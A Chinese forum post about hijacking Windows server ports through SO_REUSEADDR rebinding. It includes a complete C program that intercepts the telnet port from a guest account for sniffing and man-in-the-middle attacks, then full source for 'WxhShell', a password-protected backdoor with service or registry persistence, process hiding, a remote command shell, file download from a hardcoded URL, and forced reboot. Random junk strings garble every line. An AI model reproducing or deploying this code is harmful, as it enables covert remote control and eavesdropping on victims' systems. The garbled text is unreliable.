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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /Trbr]lWy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <f)T*E^5%  
D\J.6W  
  saddr.sin_family = AF_INET; x<w-j[{k_K  
6e.l# c!1}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7z\ #"~(.  
|G/)<1P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mss.\  
S&l [z,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %<O~eXY  
O\=Zo9(NHF  
  这意味着什么?意味着可以进行如下的攻击: 1x##b [LC  
C^_m>H3b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (*vBpJyz%  
plr3&T~,&S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kbH@h2Ww  
L|b[6[XTHL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2*gB~Jn4  
p,(W?.ZDN?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c*R\fQd  
Ed-3-vJej6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g#1 Y4  
I;?PDhDb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ms3GvPsgv  
s6}SdmE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X4'!:&  
I 5ZDP|  
  #include B=r+ m;(  
  #include |{,c2 Ck:N  
  #include ZifDU@J$t  
  #include    uB6Mj dp6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?djH!  
  int main() I^n,v) 8  
  { c;a<nTLn  
  WORD wVersionRequested; V4n;N  
  DWORD ret; ~(Q#G" t  
  WSADATA wsaData; d mTZEO  
  BOOL val; M,oZ_tY%  
  SOCKADDR_IN saddr; Ui1s ]R  
  SOCKADDR_IN scaddr; -i91nMi]  
  int err; #Lk~{  
  SOCKET s; 33~8@]b  
  SOCKET sc; z'O+B}  
  int caddsize; k1P'Q&Na  
  HANDLE mt; tU!Yg"4Q  
  DWORD tid;   T>hm\!  
  wVersionRequested = MAKEWORD( 2, 2 ); vwa*'C  
  err = WSAStartup( wVersionRequested, &wsaData ); j`Ek:  
  if ( err != 0 ) { W|sU[dxZ  
  printf("error!WSAStartup failed!\n"); >xF&>SDC  
  return -1; qq?o^_^4  
  } sS4V(:3s  
  saddr.sin_family = AF_INET; t -}IKrbv  
   z7P~SM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Qk|+Gj  
OP=-fX|*Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i ;Kax4k  
  saddr.sin_port = htons(23); '9Q#%E!*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =CdrhP_  
  { w7q6v>  
  printf("error!socket failed!\n"); E1w8d4P,G  
  return -1; |S<!'rY  
  } gg#lI|  
  val = TRUE; ~oK0k_{~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g2M1zRm;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zqQ[uO]m?  
  { )>"Ky  
  printf("error!setsockopt failed!\n"); s bR*[2  
  return -1; @W==)S%O  
  } :>H{?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ug"4P.wI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )7#3n(_np  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N K@6U_/W  
TnKOr~@*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hOFvM&$  
  { >r}?v3QW  
  ret=GetLastError(); }!|$;3t+c  
  printf("error!bind failed!\n"); >@-. rkd(  
  return -1; J!3;\  
  } hl)jE 06  
  listen(s,2); uc]5p(9Hb  
  while(1) _[l&{,  
  { Z>X]'q03  
  caddsize = sizeof(scaddr); ]F;1l3I-  
  //接受连接请求 \F+".X#jh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v:9'k~4)  
  if(sc!=INVALID_SOCKET) LN5q_ZvR  
  { ~6QV?j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J*:_3Wsy  
  if(mt==NULL) 497l2}0  
  { B| M@o^Tf  
  printf("Thread Creat Failed!\n"); 0~DsA Ua  
  break; [T/S/@IT  
  } 0=40}n&`  
  } m*i,|{UZ  
  CloseHandle(mt); Imclz4'8  
  } &h7 n>q  
  closesocket(s); b+f '  
  WSACleanup(); q& KNK  
  return 0; 1 >2 /1>  
  }   S&'s/jB  
  DWORD WINAPI ClientThread(LPVOID lpParam) KilN`?EJ  
  { %@ q2  
  SOCKET ss = (SOCKET)lpParam; vkG%w;  
  SOCKET sc; yWT1CID  
  unsigned char buf[4096]; vI48*&]wTf  
  SOCKADDR_IN saddr; F/:%YR;  
  long num; ~xws5n}F  
  DWORD val; 3.ShAL  
  DWORD ret; :DuEv:;v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6O0aGJ,H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $j@P 8<M7  
  saddr.sin_family = AF_INET; uI9+@oV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hew"p(`  
  saddr.sin_port = htons(23); adgd7JjI*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  s%5XBI  
  { G_ ~qk/7mF  
  printf("error!socket failed!\n"); E4.A$/s8[  
  return -1; pY%KI  
  } 4V mUTMY  
  val = 100; zx+}>(U\U  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^ 6Yt2Bhs  
  { VrhHcvnZ  
  ret = GetLastError(); "kIlxf3  
  return -1; +<B"g{dLuX  
  } 4((p?jb C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :gRVa=}=  
  { N\?__WlBK7  
  ret = GetLastError(); 0Xn,q]@Z  
  return -1; {CTJX2&  
  } ^bdXzjf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `ooHABC  
  { 6J$I8b#/  
  printf("error!socket connect failed!\n"); 8"V1h72vcW  
  closesocket(sc); ^.~e  
  closesocket(ss); EEx:Xk%5hX  
  return -1; "zqa:D26  
  } cveQ6 -`K  
  while(1) 2)QZYgfh  
  { .O&YdUo  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >5 Y.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2nL*^hhh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lJx5scN [  
  num = recv(ss,buf,4096,0); Wdj|RKw  
  if(num>0) )vuIO(8F#  
  send(sc,buf,num,0); $) qL=kR  
  else if(num==0) UDgX A  
  break; @zLyG#kHY  
  num = recv(sc,buf,4096,0); N!-P2)@  
  if(num>0) :6o|6MC!  
  send(ss,buf,num,0); 7$IR^  
  else if(num==0) zzd PR}VG  
  break; gp'k(rGH  
  } Q j|tD+<  
  closesocket(ss); wuSotbc/  
  closesocket(sc); { qCFd  
  return 0 ; t2m7Yh5B  
  } K<pZ*l  
}-9 c1&m  
y*=Ipdj  
========================================================== VG50n<m9  
Q=#FvsF#z3  
下边附上一个代码,,WXhSHELL 2j ]uB0  
g!cW`B'  
========================================================== T&Z*=ShH  
`9\^.g)  
#include "stdafx.h" g{K \  
m)r,  
#include <stdio.h>  &!wtH  
#include <string.h> K\mFb  
#include <windows.h> y!q`o$nK  
#include <winsock2.h> Dg}EI^ d  
#include <winsvc.h> 4.~<|T8  
#include <urlmon.h> jTW8mWNk]  
w`dSc@ :  
#pragma comment (lib, "Ws2_32.lib") nmyDGuzk  
#pragma comment (lib, "urlmon.lib") 7m:TY>{  
i4M%{]G3Y  
#define MAX_USER   100 // 最大客户端连接数 \#F>R,  
#define BUF_SOCK   200 // sock buffer %D% Ok7s})  
#define KEY_BUFF   255 // 输入 buffer -q&,7'V  
,F "P/`i'  
#define REBOOT     0   // 重启 82o|(pw  
#define SHUTDOWN   1   // 关机 d-8{}Q  
(io[O?te  
#define DEF_PORT   5000 // 监听端口 S/YHT)0x[  
u Qg$hS  
#define REG_LEN     16   // 注册表键长度 ;w._/  
#define SVC_LEN     80   // NT服务名长度 b8Hz l!zO  
53^3. .E|  
// 从dll定义API 'X ?Iho  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :dxKcg7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8;,|z%rS"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X `F>kp1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Cw$^jd  
q &S@\b  
// wxhshell配置信息 O2U}jHsd  
struct WSCFG { [EK^0g   
  int ws_port;         // 监听端口 X|}Q4T`  
  char ws_passstr[REG_LEN]; // 口令 `v'yGsIV  
  int ws_autoins;       // 安装标记, 1=yes 0=no lc]cs D  
  char ws_regname[REG_LEN]; // 注册表键名 @iBmOt>3  
  char ws_svcname[REG_LEN]; // 服务名 g(G$*#}o8A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SN[ar&I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P5GV9SA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a=6@} l1<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dh%DALZ8t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4i<GqG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #wkSru&LS  
ZQ'|B  
}; hb9HVj  
0vMKyT3 c  
// default Wxhshell configuration vTL/% SJ8  
struct WSCFG wscfg={DEF_PORT, NW&2ca  
    "xuhuanlingzhe", as!P`*@  
    1, GXRW"4eF5  
    "Wxhshell", sN) xNz  
    "Wxhshell", <vb7X  
            "WxhShell Service", Q9;VSF)  
    "Wrsky Windows CmdShell Service", b~<:k\EE  
    "Please Input Your Password: ", vZ^U]h V  
  1, abS3hf  
  "http://www.wrsky.com/wxhshell.exe", 0w vAtK|Q  
  "Wxhshell.exe" <Ynrw4[)t  
    }; $Yw~v36`t/  
0;]VTz?P  
// 消息定义模块 p1T0FBV L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6 B7 F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7I;0 %sVQ{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Y/S2J  
char *msg_ws_ext="\n\rExit."; <UTO\w%  
char *msg_ws_end="\n\rQuit."; 7;Vmbt9  
char *msg_ws_boot="\n\rReboot..."; KTeR;6oZn"  
char *msg_ws_poff="\n\rShutdown..."; ?JW/Stua  
char *msg_ws_down="\n\rSave to "; Jid_&\  
o"kL,&  
char *msg_ws_err="\n\rErr!"; _lC0XDZ  
char *msg_ws_ok="\n\rOK!"; "{c@}~  
CioS}K  
char ExeFile[MAX_PATH]; -"XHN=H  
int nUser = 0; ]LMtZUz  
HANDLE handles[MAX_USER]; `BaJ >%|  
int OsIsNt; BJ5^-|  
ofsLx6Po  
SERVICE_STATUS       serviceStatus; 8N3rYx;d~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; j(M.7Z7^  
~D`  
// 函数声明 BL-7r=Z  
int Install(void); m6Qm }""  
int Uninstall(void); [+!+Yn6:  
int DownloadFile(char *sURL, SOCKET wsh); U8</aQLGF  
int Boot(int flag); !FvL2L  
void HideProc(void); G+\&8fi0  
int GetOsVer(void); i?|u$[^=+  
int Wxhshell(SOCKET wsl); m @)Ya*=<  
void TalkWithClient(void *cs); .&h|r>*|J  
int CmdShell(SOCKET sock); Sw>,Q-32  
int StartFromService(void); t@iw&> 8z  
int StartWxhshell(LPSTR lpCmdLine); E5Ls/ H K  
O(:/ &`)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1DN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); omT^jh  
GC(QV}9z"  
// 数据结构和表定义 -a'D~EGB^  
SERVICE_TABLE_ENTRY DispatchTable[] = PtGFLM9R  
{ 4E$d"D5]>p  
{wscfg.ws_svcname, NTServiceMain}, }*vE/W  
{NULL, NULL} (?i4P5s[!  
}; @ *5+ZAF  
aPX'CG4m  
// 自我安装 SPauno <M  
int Install(void) db>"2EE  
{ j@4]0o  
  char svExeFile[MAX_PATH]; mILCC} Kt  
  HKEY key; f?(g5o*2  
  strcpy(svExeFile,ExeFile); is^5TL%@  
4.>y[_vu  
// 如果是win9x系统,修改注册表设为自启动 r&~]6 U  
if(!OsIsNt) { H;+98AIy`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =p dLh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |\)Y,~;P  
  RegCloseKey(key); //bQD>NBO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TxTxyYd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :*cd$s  
  RegCloseKey(key); 8k_hX^  
  return 0; *=Ma5J.  
    } ]}.|b6\  
  } hb>uHUb&  
}  gOp81)  
else { gyU=v{].  
>A}ra^gU  
// 如果是NT以上系统,安装为系统服务 Dj3,SJ*x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T ^ #1T$  
if (schSCManager!=0) Qz$Wp*  
{ z$VVt ?K  
  SC_HANDLE schService = CreateService ?iL-2I3*  
  ( EH'eyC-B<  
  schSCManager, ^__ P;Gr`  
  wscfg.ws_svcname, QJI]@3 Y  
  wscfg.ws_svcdisp, EEvi_Z932  
  SERVICE_ALL_ACCESS, ] ^J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~h%H;wC&  
  SERVICE_AUTO_START, E_{P^7Z|Jg  
  SERVICE_ERROR_NORMAL, g<:TsP'|  
  svExeFile, N1U.1~U  
  NULL, 'Hu+8,xA  
  NULL, %Siw>  
  NULL, V3/OKI\o  
  NULL, 7(H?3)%0  
  NULL ?gjkgCbC#  
  ); @}' ?o_/C  
  if (schService!=0) ^C}f|{J  
  { 8SCXA9}  
  CloseServiceHandle(schService); !.O;SG  
  CloseServiceHandle(schSCManager); %PPkT]~\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2Ic)]6z R  
  strcat(svExeFile,wscfg.ws_svcname); CYM>4C~>JW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e'fo^XQn[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6 I43a1[s  
  RegCloseKey(key); cq/@ng*o  
  return 0; R0F&!y!B  
    } o ,8;=f,7  
  } BM87f:d  
  CloseServiceHandle(schSCManager); Xod/GY G  
} TnuA uui*  
} s1X?]A  
hz h3p[  
return 1; M1*x47bN  
} ~b[5}_L=>  
=n;LP#(h?  
// 自我卸载 p#>,{  
int Uninstall(void) <B+ WM  
{ ;U?323Z  
  HKEY key; rgEN~e'  
-JclEp  
if(!OsIsNt) { uY3?(f#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sjHcq5#U!  
  RegDeleteValue(key,wscfg.ws_regname); Q0L1!}w   
  RegCloseKey(key); R,-DP/ (im  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <4I`|D3@  
  RegDeleteValue(key,wscfg.ws_regname); E:P_CDSd]  
  RegCloseKey(key); UUvR>5@n  
  return 0; k7 Ne(4P  
  } 6hHMxS^o  
} ~e5E%bXxC  
} O1oh,~W  
else { t*-_MG  
Yv[<c!\   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w4RtIDW:  
if (schSCManager!=0) r\q|DZ7  
{ i1Y<[s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w(Q{;RNM;  
  if (schService!=0) }RQHsS  
  { SOS|3q_`  
  if(DeleteService(schService)!=0) { <V|\yH9  
  CloseServiceHandle(schService); m;vm7]5  
  CloseServiceHandle(schSCManager); Lv#}Gm  
  return 0; j<h0`v  
  } 0.B'Bvn=s2  
  CloseServiceHandle(schService); >ffQ264g=i  
  } FyV $`c$  
  CloseServiceHandle(schSCManager); LXRIo2ynuw  
} 4v`;D,dIu  
} U \F ?{/  
:=K+~?  
return 1; Z|d+1i  
} A!a.,{fZ  
eqyUI|e  
// 从指定url下载文件 'Ojxzz*tT  
int DownloadFile(char *sURL, SOCKET wsh) n9k-OGJ  
{ >{"E~U  
  HRESULT hr; &InFC5A  
char seps[]= "/"; 2hb>6Z;r]K  
char *token; ,F=FM>o  
char *file; W'v o?  
char myURL[MAX_PATH]; !" @<!  
char myFILE[MAX_PATH]; <{z-<D;  
4^ZbT  
strcpy(myURL,sURL); id>2G %Tx  
  token=strtok(myURL,seps); .F0Q< s9  
  while(token!=NULL) 26=G%F6  
  { } ;d=  
    file=token; Z3-=TN  
  token=strtok(NULL,seps); |zy` ]p9  
  } z:A_  
:VX2&*  
GetCurrentDirectory(MAX_PATH,myFILE); (:RYd6i  
strcat(myFILE, "\\"); 3O|2Z~>3  
strcat(myFILE, file); Bsj^R\  
  send(wsh,myFILE,strlen(myFILE),0); QGnUPiD^  
send(wsh,"...",3,0); VP1 z"j:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;/!o0:m^I  
  if(hr==S_OK) 3E!3kSh|  
return 0; pzT`.#N:M  
else d}@n,3  
return 1; @CKMJ^#|  
q( %)^C  
} $,nidK!"  
Ru$%gh>v  
// 系统电源模块 /'bX}H(dq  
int Boot(int flag) jN/snU2\0  
{ jT4 m(j  
  HANDLE hToken; e[db?f2!  
  TOKEN_PRIVILEGES tkp; JcC2Zn6  
7MhaLkB_6  
  if(OsIsNt) { :,.HJ[Vg&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jEL"Q?#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $?DEO[p.  
    tkp.PrivilegeCount = 1; ,2mq}u>WU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m1RjD$fM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =Nr?F '<  
if(flag==REBOOT) { Q3[nS(#Z/=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !#PA#Q|cO  
  return 0; NZ% v{?  
} b{.Y?.U  
else { KB gFS%-W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `6v24?z  
  return 0; Tzfk_h3hE  
} |W5lhx0U  
  } i({MID)/_  
  else { ^$y`Q@-9  
if(flag==REBOOT) { USKC,&6&}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v|nt(-JX  
  return 0; <=%G%V_s  
} LKg9{0Y:  
else { tYx>?~   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &jh17y  
  return 0; M`?ATmYy  
} !y3XIbdS"  
} dlwOmO'Bm)  
72= 4#  
return 1; w NMA)S  
} vg5fMH9ZZ  
e4;h*IQK  
// win9x进程隐藏模块 ;ao <{i?  
void HideProc(void) 03!#99  
{ ,8stEp9~h]  
-9R.mG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e+y%M  
  if ( hKernel != NULL ) 5IbCE.>iU  
  { wif1|!aL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5.lg*vh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -5@hU8B'a  
    FreeLibrary(hKernel); 1|$J>  
  } *nwH1FjH  
b[MKo7  
return; B8>@q!G8P  
} nE4rB\  
}'h\;8y  
// 获取操作系统版本 d,o|>e$  
int GetOsVer(void) Us3zvpy)o  
{ .~|[* q\  
  OSVERSIONINFO winfo; Zk5AZ R!|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6dYa07  
  GetVersionEx(&winfo); iAXF;'|W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0<nW nD,z  
  return 1; 5[P^O6'  
  else AH^'E  
  return 0; 6df`]s c  
} o}yA{<"  
|oR#j `  
// 客户端句柄模块 vhN6_XD  
int Wxhshell(SOCKET wsl) .GvZv>  
{ {T3wOi  
  SOCKET wsh; ^CB@4$!   
  struct sockaddr_in client; PrF('PH7i  
  DWORD myID; 3lgD,_&  
x6Q_+!mnk  
  while(nUser<MAX_USER) \psO$TxF=  
{ fF. +{-.  
  int nSize=sizeof(client); +B4i,]lCx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R[H#a v  
  if(wsh==INVALID_SOCKET) return 1; \M~uNWv|  
B XO,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |lh&l<=(f  
if(handles[nUser]==0) ULxgvq  
  closesocket(wsh); l;h5Y<A%?  
else *7),v+ET  
  nUser++; GZ.KL!,R!  
  } cpx:4R,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U \jFB*U  
0VIR =Pbp  
  return 0; vSk1/  
} S0;s 7X#c  
cK'}+  
// 关闭 socket ;>Z0e`=  
void CloseIt(SOCKET wsh) vH6.;j'^  
{ TU9$5l/;g  
closesocket(wsh); N'?#g`*KW  
nUser--; K\5/||gi  
ExitThread(0); ge% tj O  
} m21H68y  
4cDe'9 LA  
// 客户端请求句柄 b>nwX9Y/U  
void TalkWithClient(void *cs) T|uG1  
{ _"82W^Wi  
Nk?/vMaw  
  SOCKET wsh=(SOCKET)cs; ]F"@+_E  
  char pwd[SVC_LEN]; {Vf].l:kn  
  char cmd[KEY_BUFF]; xxpzz(S ]A  
char chr[1]; 8>(/:u_x  
int i,j; A9LVS&52  
mh#_lbe'  
  while (nUser < MAX_USER) { 7M$cIWe$  
M?I^`6IOc8  
if(wscfg.ws_passstr) { {ApjOIxk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H2CpZK'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gVs@T'  
  //ZeroMemory(pwd,KEY_BUFF); 8B6 -f:  
      i=0; Q 2 B  
  while(i<SVC_LEN) { ex|h&Vma2V  
!~Kg_*IT  
  // 设置超时 m|PJwd6  
  fd_set FdRead; 2W;2._  
  struct timeval TimeOut; c=p!2jJ1K~  
  FD_ZERO(&FdRead); Dc0CQGx9b  
  FD_SET(wsh,&FdRead); eU\_m5xl"  
  TimeOut.tv_sec=8; &PFK0tY  
  TimeOut.tv_usec=0; _[N*k"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xU |8.,@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {6>$w/+~  
0_-P~^A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'v5q/l  
  pwd=chr[0]; B\+uRiD8w  
  if(chr[0]==0xd || chr[0]==0xa) { i\kDb=  
  pwd=0; fiLlOr%r  
  break; Bx|h)e9  
  } rf]x5%ij  
  i++; rg I Z  
    } |]b,% ?,U  
fRp(&%8E  
  // 如果是非法用户,关闭 socket X5=I{eY}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fD%20P`.  
} 2j$~lI  
Kr+#)S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )oZ2,]us!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iK8jX?  
[ic%ZoZ_  
while(1) { 5JS*6|IbD{  
2fP;>0?  
  ZeroMemory(cmd,KEY_BUFF); Ij:yTu   
N: 5 N}am  
      // 自动支持客户端 telnet标准   Tb{RQ?Nw'  
  j=0; </W"e!?X  
  while(j<KEY_BUFF) { J@qLBe(v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U"a7myB+jX  
  cmd[j]=chr[0]; i_av_I-  
  if(chr[0]==0xa || chr[0]==0xd) { ]2MX7  
  cmd[j]=0; v(P <_}G  
  break; m1M6N`f  
  } xxOhGA)  
  j++; .>Fpk7  
    } 877Kv);  
p Moza8  
  // 下载文件 ;&MnPFmq  
  if(strstr(cmd,"http://")) { `k(m2k ?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kv<(N  
  if(DownloadFile(cmd,wsh)) 4K,S5^`Gx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P[jh^!<j  
  else T NF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ZBz]rh*  
  } q XB E3  
  else { ~w}=Oby'y  
x\YVB',h  
    switch(cmd[0]) { So4#n7  
  $dug"[  
  // 帮助 kkXe=f%  
  case '?': { Jv!f6*&<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gwFW+*h  
    break; 6xu%M&ht  
  } OXbC\^qo@  
  // 安装 *?+2%zP  
  case 'i': { N:,V{Pw  
    if(Install()) im F,8'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6rlvSdB  
    else ]hZk #rp}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GK#D R/OM  
    break; D[{"]=-  
    } VREDVLQT  
  // 卸载 olK*uD'`  
  case 'r': { >S%}HSPKq  
    if(Uninstall()) NWj4U3x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !p_l(@f  
    else }sp?@C,Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AnpO?+\HF  
    break; ,_K:DSiB  
    } Uh'W d_?  
  // 显示 wxhshell 所在路径 >2NsBS(  
  case 'p': { YB(8 T"  
    char svExeFile[MAX_PATH]; k7M{+X6[  
    strcpy(svExeFile,"\n\r"); 7**zO3 H  
      strcat(svExeFile,ExeFile); ::@JL  
        send(wsh,svExeFile,strlen(svExeFile),0); J!}R>mR  
    break; ajX] ui  
    } rw?wlBEG%  
  // 重启 }&%&0$%  
  case 'b': { |*L/ m0'L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 845\u&  
    if(Boot(REBOOT)) (@S 9>z4s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |I3&a=,  
    else { ,<[x9 "3\  
    closesocket(wsh); TJuS)AZ C  
    ExitThread(0); /mwDVP<z /  
    } ${`q!  
    break; &?k`rF9  
    } ){w!< Lb  
  // 关机 a&[>kO  
  case 'd': { ]NKz5[9D  
